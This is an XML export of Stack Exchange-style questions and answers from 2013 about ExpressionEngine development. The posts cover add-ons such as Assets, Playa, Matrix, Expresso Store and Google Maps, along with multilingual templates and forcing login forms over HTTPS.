  <row Id="8898" PostTypeId="1" CreationDate="2013-04-01T21:50:56.717" Score="0" ViewCount="55" Body="&lt;p&gt;I am trying to display images tagged with a specific Keyword, however I also appear to be getting images that have my keywords in the images filename. Is this correct behaviour or am I just not getting my tags right? Code below..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:assets:folders recursive=&quot;yes&quot;}&#xA;    &amp;lt;h3&amp;gt;{folder_name}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        {exp:assets:files folder_id=&quot;{folder_id}&quot; keywords=&quot;London&quot;}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url:huge}&quot; target=&quot;_blank&quot;&amp;gt;{if title != &quot;&quot;}{title}{if:else}{filename}{/if}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:assets:files}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:assets:folders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2013-04-02T05:46:55.690" Title="Show only images with specific keyword" Tags="|assets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8899" PostTypeId="2" ParentId="8845" CreationDate="2013-04-02T01:34:37.487" Score="1" Body="&lt;p&gt;Adding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_site_url'] = '/index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to /system/expressionengine/config/config.php fixed this up.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-04-02T01:34:37.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8900" PostTypeId="2" ParentId="8895" CreationDate="2013-04-02T05:13:09.623" Score="2" Body="&lt;p&gt;Thanks for the detailed info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Correct - setting &lt;code&gt;payment_method=&quot;&quot;&lt;/code&gt; in your tag simply adds a hidden field to your form, and if you have another hidden field in your template that would override the POST data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to the error message, even if you aren't using &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt; in your checkout tag, you still need to use &lt;code&gt;{error:payment_method}&lt;/code&gt; somewhere in your template to display errors from the payment gateway. This is because payment gateway errors work slightly differently (they may not show up until the customer is returned from an off-site gateway, so it would be inappropriate to display the EE error page with a &quot;back&quot; button as this would break the checkout flow). We're looking at ways to make this variable behave the same as regular errors, but for now you should have it in next to your payment fields on the final page of the checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding &lt;code&gt;{error:payment_method}&lt;/code&gt; to your template should remove the need for the edit you made above - can you try that?&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-02T05:13:09.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8901" PostTypeId="2" ParentId="8898" CreationDate="2013-04-02T05:46:55.690" Score="1" Body="&lt;p&gt;it's the expected behaviour for Assets.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-04-02T05:46:55.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8903" PostTypeId="2" ParentId="7237" CreationDate="2013-04-02T08:51:05.923" Score="1" Body="&lt;p&gt;What seems to be a bug, is actually a feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine wants unique URL titles for each entry. While this may seem limiting, it's actually what you want. URL titles that reflect the language the page is in will help search engines and users understand your content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/en/about-us   &#xA;/es/sobre-nosotros   &#xA;/de/wir-uber-uns   &#xA;/fr/a-propos-de-nous&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could see how you might have URL title overlaps like with the case of /en/test and /ru/test. But you can use Pages or Structure URLs like this since they are matching against the full URI. So while your URL title would automatically be changed to &quot;test-1&quot; to avoid duplicates, the Page or Structure URL could still be /ru/test. I just tried it out and it seems to be working.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-02T08:51:05.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8904" PostTypeId="2" ParentId="5566" CreationDate="2013-04-02T11:30:04.197" Score="0" Body="&lt;p&gt;Ok &#xA;this is silly but it might help others, There wasn't any problem with transcribe &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it was just in the EE configruation i removed the index.php from the &quot;the  Name of your site's index page&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've put the index.php the search is now being redirected as it should :)&lt;/p&gt;&#xA;" OwnerUserId="879" LastActivityDate="2013-04-02T11:30:04.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8905" PostTypeId="1" AcceptedAnswerId="8915" CreationDate="2013-04-02T11:41:54.460" Score="2" ViewCount="290" Body="&lt;p&gt;At present there doesn't seem to be an easy way to login securely using the Member module. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/#secure-action&quot; rel=&quot;nofollow&quot;&gt;Safecraker provides useful parameters in secure_action=&quot;yes&quot; and secure_return=&quot;yes&quot;&lt;/a&gt; to ensure encrypted submissions but the login form is left wide open by default (which is a unbelievable!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do other people handle secure login form submissions to ensure they are posted over HTTPS in the lack of a built in facility by default in EE? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that &lt;a href=&quot;https://github.com/expressodev/freemember/issues/25&quot; rel=&quot;nofollow&quot;&gt;FreeMember has recently has this support added&lt;/a&gt; but if I'm not using FreeMember than I'd like to be able to find a way to secure my logins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: It looks like &lt;a href=&quot;http://devot-ee.com/add-ons/support/zoo-visitor/viewthread/9114&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor also supports secure login forms&lt;/a&gt; and it's &lt;a href=&quot;http://ee-zoo.com/docs/visitor/tags/login.html&quot; rel=&quot;nofollow&quot;&gt;now just been added to the docs&lt;/a&gt; with the same parameters as Safecracker.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2013-04-02T14:22:01.473" LastActivityDate="2013-04-02T15:04:55.200" Title="Secure Login Forms" Tags="|security|ssl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8906" PostTypeId="1" CreationDate="2013-04-02T11:54:29.930" Score="0" ViewCount="118" Body="&lt;p&gt;I would like to use Google Maps for ExpressionEngine to place multiple markers and regions within an entry, using the fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I code up the template I would like to be able to access things like the postcode that is stored within the {markers} tag. But it seems to be one of the {types} within {marker:address_components} and returns 2 different types (postal_code_prefix|postal_code) and (postal_code). I'm guessing that if the location doesn't have the 2nd part it only stores the 1st option and if there is it only stores the 2nd option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I request one or other depending on availability, so I can have a heading of Postcode: and it inserts either the postal_code_prefix or postal_code depending on what's available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:init id=&quot;map&quot; scrollwheel=&quot;false&quot;  style=&quot;width:800px;height:600px&quot;}&#xA;{exp:channel:entries channel=&quot;info&quot; entry_id=&quot;523&quot;}&#xA;&#xA;{cf_gmaps id=&quot;map&quot;}&#xA;&#xA;{cf_gmaps parse=&quot;markers&quot;}&#xA;&#xA;    {markers}&#xA;        &amp;lt;h2&amp;gt;Title: {marker:title}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;b&amp;gt;Content:&amp;lt;/b&amp;gt; {marker:content}&amp;lt;br /&amp;gt;&#xA;        &amp;lt;b&amp;gt;Lat:&amp;lt;/b&amp;gt;{marker:latitude}, &amp;lt;b&amp;gt;Lon:&amp;lt;/b&amp;gt; {marker:longitude}&amp;lt;br /&amp;gt;&#xA;        &amp;lt;b&amp;gt;Formatted address:&amp;lt;/b&amp;gt; {marker:formatted_address}&amp;lt;br /&amp;gt;&#xA;        {marker:address_components}&#xA;            &amp;lt;b&amp;gt;Short name:&amp;lt;/b&amp;gt; {short_name}&amp;lt;br /&amp;gt;&#xA;            &amp;lt;b&amp;gt;Long name:&amp;lt;/b&amp;gt; {long_name}&amp;lt;br /&amp;gt;&#xA;            &amp;lt;b&amp;gt;Types:&amp;lt;/b&amp;gt; {types}&amp;lt;br /&amp;gt;&#xA;        {/marker:address_components}&amp;lt;br /&amp;gt;&#xA;        &amp;lt;b&amp;gt;Index:&amp;lt;/b&amp;gt; {marker:index}&amp;lt;br /&amp;gt;&#xA;        &amp;lt;b&amp;gt;Count:&amp;lt;/b&amp;gt; {marker:count}&amp;lt;br /&amp;gt;&#xA;        &amp;lt;b&amp;gt;Entry id:&amp;lt;/b&amp;gt; {marker:entry_id}&amp;lt;br /&amp;gt;&#xA;        &amp;lt;b&amp;gt;Offset:&amp;lt;/b&amp;gt; {marker:offset}&amp;lt;br /&amp;gt;&#xA;    {/markers}&#xA;&#xA;{/cf_gmaps}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Resulting webpage for 2 of the markers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Title: Mast&#xA;Content: 4 Distillery Cottages Tomatin Inverness Highland IV13 7YT UK&#xA;Lat:57.3413023239, Lon: -4.00712145789&#xA;Formatted address: 4 Distillery Cottages, Tomatin, Inverness, Highland IV13 7YT, UK&#xA;Short name: 4&#xA;Long name: 4&#xA;Types: street_number&#xA;Short name: Distillery Cottages&#xA;Long name: Distillery Cottages&#xA;Types: route&#xA;Short name: Tomatin&#xA;Long name: Tomatin&#xA;Types: locality|political&#xA;Short name: Highld&#xA;Long name: Highland&#xA;Types: administrative_area_level_2|political&#xA;Short name: GB&#xA;Long name: United Kingdom&#xA;Types: country|political&#xA;Short name: IV13 7YT&#xA;Long name: IV13 7YT&#xA;Types: postal_code&#xA;Short name: Inverness&#xA;Long name: Inverness&#xA;Types: postal_town&#xA;Index: 1&#xA;Count: 2&#xA;Entry id: 523&#xA;Offset: 0&#xA;&#xA;Title: A9&#xA;Content: A9 Inverness Highland IV13 UK&#xA;Lat:57.341901478, Lon: -3.99473190308&#xA;Formatted address: A9, Inverness, Highland IV13, UK&#xA;Short name: A9&#xA;Long name: A9&#xA;Types: route&#xA;Short name: Highld&#xA;Long name: Highland&#xA;Types: administrative_area_level_2|political&#xA;Short name: Scotland&#xA;Long name: Scotland&#xA;Types: administrative_area_level_1|political&#xA;Short name: GB&#xA;Long name: United Kingdom&#xA;Types: country|political&#xA;Short name: IV13&#xA;Long name: IV13&#xA;Types: postal_code_prefix|postal_code&#xA;Short name: Inverness&#xA;Long name: Inverness&#xA;Types: postal_town&#xA;Index: 2&#xA;Count: 3&#xA;Entry id: 523&#xA;Offset: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="483" LastEditorUserId="483" LastEditDate="2013-04-02T21:22:58.200" LastActivityDate="2013-04-02T21:22:58.200" Title="Access marker info" Tags="|google-maps-for-ee|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8907" PostTypeId="1" AcceptedAnswerId="8982" CreationDate="2013-04-02T12:11:05.127" Score="1" ViewCount="251" Body="&lt;p&gt;I have a client who very much want to be able to enter the prices in Exp-resso Store tax-inclusive, and then calculate how much the tax will be on the order confirmation page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's not built in, but has anyone done anything like this, or do anyone have any ideas if it'd be plausible in any way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd prefer to not have to hard code any values, I want the client to be able to update tax rates by product groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1271" LastActivityDate="2013-04-04T03:25:55.310" Title="Enter prices tax-inclusive, and reverse engineer the tax?" Tags="|expresso-store|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8908" PostTypeId="2" ParentId="8905" CreationDate="2013-04-02T13:15:03.363" Score="0" Body="&lt;p&gt;Authenticate has a &lt;a href=&quot;https://www.objectivehtml.com/authenticate/documentation/tag/login-form#return&quot; rel=&quot;nofollow&quot;&gt;secure_return&lt;/a&gt; parameter. Will that do the trick?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-04-02T13:15:03.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8909" PostTypeId="1" AcceptedAnswerId="8913" CreationDate="2013-04-02T13:28:35.030" Score="1" ViewCount="155" Body="&lt;p&gt;I'm going to be inserting some data into a channel via a custom Add-on. It looks as thought I should be using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;Channel Entries API&lt;/a&gt; in order to do this, which is fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to do first though is select some supporting data from some existing Channels. There doesn't seem to be anything in the above API to fetch existing data unless I missed it. What's the best way to accomplish this? I'm happy to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/database.html&quot; rel=&quot;nofollow&quot;&gt;DB Class&lt;/a&gt;, if that's the only way of doing it. I just wanted to check there wasn't a preferred method of doing this before I go re-inventing the wheel!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, gratefully received. &lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-04-02T16:16:59.000" Title="Selecting Channel data within a custom Addon" Tags="|channel-entries|add-on-development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8910" PostTypeId="1" AcceptedAnswerId="8911" CreationDate="2013-04-02T13:32:07.890" Score="2" ViewCount="118" Body="&lt;p&gt;I've just discovered that Safecracker isn't in the list of modules for the site I'm working on. How do I install it? I'm using EE v2.1.3&lt;/p&gt;&#xA;" OwnerUserId="1273" LastActivityDate="2013-04-02T14:10:11.630" Title="How do I install Safecracker?" Tags="|add-on|safecracker|module|plugin|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8911" PostTypeId="2" ParentId="8910" CreationDate="2013-04-02T13:48:56.007" Score="3" Body="&lt;p&gt;If you upgrade to the current version, 2.5.5, it is bundled within the install.&lt;/p&gt;&#xA;" OwnerUserId="457" LastActivityDate="2013-04-02T13:48:56.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8912" PostTypeId="2" ParentId="8910" CreationDate="2013-04-02T14:10:11.630" Score="0" Body="&lt;p&gt;You still need to select it as a module to install when installing EE. If you haven't done so then you can install it via Addons &gt; Modules &gt; Safecracker. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-02T14:10:11.630" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8913" PostTypeId="2" ParentId="8909" CreationDate="2013-04-02T14:30:36.677" Score="2" Body="&lt;p&gt;I believe that fetching data from existing channels/entries is just a case of querying the database so it's either straight to the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/database.html&quot; rel=&quot;nofollow&quot;&gt;DB class&lt;/a&gt; or via &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/database/active_record.html&quot; rel=&quot;nofollow&quot;&gt;CI Active Record&lt;/a&gt; It's probably better to use the Active Record class.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="28" LastEditDate="2013-04-02T15:19:45.313" LastActivityDate="2013-04-02T15:19:45.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8914" PostTypeId="2" ParentId="8907" CreationDate="2013-04-02T14:47:14.150" Score="1" Body="&lt;p&gt;I'd recommend that when entering product prices they're entered &lt;em&gt;without&lt;/em&gt; tax and then you can choose whether to include tax in the product prices when displayed in your templates or not with a simple tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{price_inc_tax}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to summarise this on the order confirmation page there are tags for that too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{order_tax}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can pretty much use any of the existing tags and simply append '_tax' to display the tax rates including for sub-totals, shipping, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only tricky bit I see is the bit where you mention about applying tax rates per product group. In most carts tax rates are applied by country or region so doing it by product group could be trickier. Is there a particular reason for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess if you know the tax rate for a product group and have a way of tagging it as such (using a category, a custom field, or a custom channel) then you could just use the standard Store tags and then a little calculation to add/deduct the tax percentage. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-02T14:47:14.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8915" PostTypeId="2" ParentId="8905" CreationDate="2013-04-02T15:04:55.200" Score="1" Body="&lt;p&gt;In my case I think this solution works best. Using a combination of &lt;a href=&quot;http://devot-ee.com/add-ons/dm-force-ssl&quot; rel=&quot;nofollow&quot;&gt;DM Force SSL&lt;/a&gt; to ensure that that template is served over HTTPS, and &lt;a href=&quot;http://devot-ee.com/add-ons/find-and-replace-plus&quot; rel=&quot;nofollow&quot;&gt;Find and Replace Plus&lt;/a&gt; to swap out 'http' with 'https'. They can be used in combination with the default Login form to provide a secure login:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Load the page over SSL --}&#xA;{exp:dm_force_ssl:force}&#xA;&#xA;{!-- Ensure the form submits over HTTPS --}&#xA;{exp:replace_plus find='action=&quot;http:' replace='action=&quot;https:'}&#xA;    {exp:member:login_form id=&quot;login_form&quot;}&#xA;&#xA;        Login form...&#xA;&#xA;    {/exp:member:login_form}&#xA;{/exp:replace_plus}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also submitted a feature request to EllisLab to try and get secure_action=&quot;yes&quot; and secure_return=&quot;yes&quot; included in the default Member module login form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FreeMember and Zoo Visitor provide ready-made alternatives if using those modules and Authenticate goes some way towards providing some security too but I'm not sure it's fully encrypted...(?) Thanks Tyssen.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-02T15:04:55.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8917" PostTypeId="2" ParentId="8909" CreationDate="2013-04-02T16:16:59.000" Score="2" Body="&lt;p&gt;You should look here: &lt;a href=&quot;https://github.com/objectivehtml/Channel-Data&quot; rel=&quot;nofollow&quot;&gt;https://github.com/objectivehtml/Channel-Data&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-02T16:16:59.000" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8918" PostTypeId="1" CreationDate="2013-04-02T16:52:46.520" Score="1" ViewCount="113" Body="&lt;p&gt;I am unable to add even a single image when trying to publish or edit content. Clicking the &quot;Add Image&quot; link does nothing. I'm assuming this something to do with my EE installation, but can find anything to help fix it. I opened a JavaScript console and the following errors do display:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught TypeError: Object [object Object] has no method 'corner' template_variables.js:6&#xA;(anonymous function) template_variables.js:6&#xA;m jquery.js:43&#xA;l.fireWith jquery.js:44&#xA;b.extend.ready jquery.js:33&#xA;k.addEventListener.A jquery.js:42&#xA;yui: Modules missing: oop,event-custom-base,dom-core,dom-base,selector-native,selector,node-core,node-base,event-base,event-delegate,node-event-delegate,node-pluginhost,dom-style,dom-style-ie,dom-screen,node-screen,node-style,json-parse,json-stringify,pluginhost-base,pluginhost-config, 21 Controller_default_d34ceebffe812545808c75cbba886977.js:1&#xA;yui: Modules missing: pluginhost-base,pluginhost-config, 2 Controller_default_d34ceebffe812545808c75cbba886977.js:1&#xA;&#xA;Uncaught TypeError: Object [object Object] has no method 'tablesorter' compressed.js:39&#xA;(anonymous function) compressed.js:39&#xA;m jquery.js:43&#xA;l.fireWith jquery.js:44&#xA;b.extend.ready jquery.js:33&#xA;k.addEventListener.A jquery.js:42&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE 2.5.2 and Matrix 2.5.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keith Miller&lt;/p&gt;&#xA;" OwnerUserId="1276" LastEditorUserId="150" LastEditDate="2013-04-09T13:11:55.313" LastActivityDate="2013-04-09T13:11:55.313" Title="matrix add image" Tags="|matrix|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8919" PostTypeId="1" AcceptedAnswerId="8920" CreationDate="2013-04-02T17:00:53.160" Score="1" ViewCount="276" Body="&lt;p&gt;I have a home channel in which I want to display various Playa fields bringing entries in from other channels. It's tricky though, home is a listing item as it will change everyday (Note the start and stop). The information Playa brings in is also from a listing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;home&quot; limit=&quot;1&quot; start_on=&quot;{current_time format=&quot;%Y-%m-%d 00:00&quot;}&quot; stop_before=&quot;{current_time format=&quot;%Y-%m-%d 23:59&quot;}&quot;}&#xA;&#xA;{exp:playa:children channel=&quot;articles&quot; field_id=&quot;18&quot; parse=&quot;inward&quot;}&#xA;{title}&#xA;{/exp:playa:children}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem here is that the Playa field always shows the title from the home listing, not the article listing even though I specified the channel in the Playa field. From looking at the Playa docs, this should work fine. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="687" LastActivityDate="2013-04-02T19:05:36.607" Title="Playa inside channel entries" Tags="|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8920" PostTypeId="2" ParentId="8919" CreationDate="2013-04-02T18:04:58.647" Score="1" Body="&lt;p&gt;Have you tried the simple fieldtype tag pair for the playa child entries loop to see if that returns the data you're looking for?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cf_your_playa_field_short_name}&#xA;  {title}&#xA;{/cf_your_playa_field_short_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-04-02T18:04:58.647" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8921" PostTypeId="1" CreationDate="2013-04-02T18:17:05.157" Score="1" ViewCount="20" Body="&lt;p&gt;I have a matrix fieldtype with a column that has a VZ URL field in it. The column is set to required but you can leave it blank when submitting an entry. Anyone else have this issue or any insight?&lt;/p&gt;&#xA;" OwnerUserId="1277" LastActivityDate="2013-04-02T22:33:50.477" Title="P&amp;T Matrix Required Col on VZ URL fieldtype not honored" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8922" PostTypeId="1" AcceptedAnswerId="8923" CreationDate="2013-04-02T18:21:45.983" Score="5" ViewCount="3639" Body="&lt;p&gt;This is my first multi language project and should be very simple. The only dinamic content is for blog, but it doesn't need to be translated.&#xA;I thought to take these steps, i would like to have some opinion if I'm doing something wrong&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Templates:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;For the main language:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/index&lt;/li&gt;&#xA;&lt;li&gt;/contatti&lt;/li&gt;&#xA;&lt;li&gt;/blog&lt;/li&gt;&#xA;&lt;li&gt;etc..&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For english language i create the template_group &amp;quot;en&amp;quot;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;en/index&lt;/li&gt;&#xA;&lt;li&gt;en/contact&lt;/li&gt;&#xA;&lt;li&gt;en/blog&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Global variables/embed templates&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;i.e.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&amp;quot;head_html&amp;quot; and &amp;quot;en_head_html&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;&amp;quot;body&amp;quot; &amp;quot;en_body&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;etc...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Is this correct or i'm doing something wrong? Are there better methods for a simple situation like this? Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-08-16T14:40:30.953" Title="simple multi language site (two languages, mostly static content)" Tags="|multilingual|multi-language|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8923" PostTypeId="2" ParentId="8922" CreationDate="2013-04-02T18:25:16.163" Score="2" Body="&lt;p&gt;You can have some guidance from &lt;a href=&quot;http://www.sidd3.com/multi-language-website-with-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;http://www.sidd3.com/multi-language-website-with-expressionengine/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope, it would help you. &lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-02T18:25:16.163" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8924" PostTypeId="2" ParentId="8919" CreationDate="2013-04-02T19:05:36.607" Score="1" Body="&lt;p&gt;Not sure I get it but I'll take a shot. parse=inward is not needed here, nor is the field_id I don't think. Also, I would use single quotes inside double quotes to avoid parsing problems. The following code should work provided that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a home entry is displayed by the outer channel entries tag&lt;/li&gt;&#xA;&lt;li&gt;you have entries belonging to the &quot;articles&quot; channel that are playa children of the &quot;home&quot; entry and that have a status of &quot;open&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Could you give it a try?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;home&quot; limit=&quot;1&quot; start_on=&quot;{current_time format='%Y-%m-%d 00:00'}&quot; stop_before=&quot;{current_time format='%Y-%m-%d 23:59'}&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;home entry title: {title}&amp;lt;/h1&amp;gt;&#xA;    {exp:playa:children channel=&quot;articles&quot;}&#xA;        &amp;lt;h2&amp;gt;article entry title: {title}&amp;lt;/h2&amp;gt;&#xA;    {/exp:playa:children}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-04-02T19:05:36.607" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8925" PostTypeId="2" ParentId="8922" CreationDate="2013-04-02T21:07:12.233" Score="3" Body="&lt;p&gt;In addition to the tips provided in the link Bhashkar provided, I would strongly recommend you have a look at &lt;a href=&quot;http://devot-ee.com/add-ons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt; - it's a terrifically powerful add-on that gives you the ability to simultaneously create language-version variables as you create them, which when coupled with the language segment global system variables you'd likely create as directed in the article above, becomes a very fast and efficient way to use a single template to conditionally load language-specific content, both static variables, as well as entries.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-04-02T21:07:12.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8926" PostTypeId="1" CreationDate="2013-04-02T21:08:38.817" Score="2" ViewCount="19871" Body="&lt;p&gt;I'm looking to do something like what is done &lt;a href=&quot;http://gmaps-samples.googlecode.com/svn/trunk/markerhider/markerhider.htm&quot; rel=&quot;nofollow&quot;&gt;right here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's the breakdown of what I need to do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Have markers grouped by category &lt;/li&gt;&#xA;&lt;li&gt;Have a checkbox (or anchor) for each category&lt;/li&gt;&#xA;&lt;li&gt;When anchor/checkbox is clicked the markers associated with&#xA;that category get shown (or hidden) toggled on/off &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As the title suggests, I'm looking for advice on how to do this with Google Maps for ExpressionEngine.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got all my data stored as EE entries and I am fully aware of how to display a map with all of these points using the module, I just need some advice on how to implement the jquery to accomplish toggling markers by category :-)&lt;/p&gt;&#xA;" OwnerUserId="734" LastActivityDate="2013-04-02T22:34:41.980" Title="How to hide/show groups of markers by category with Google Maps for ExpressionEngine module" Tags="|google-maps-for-ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
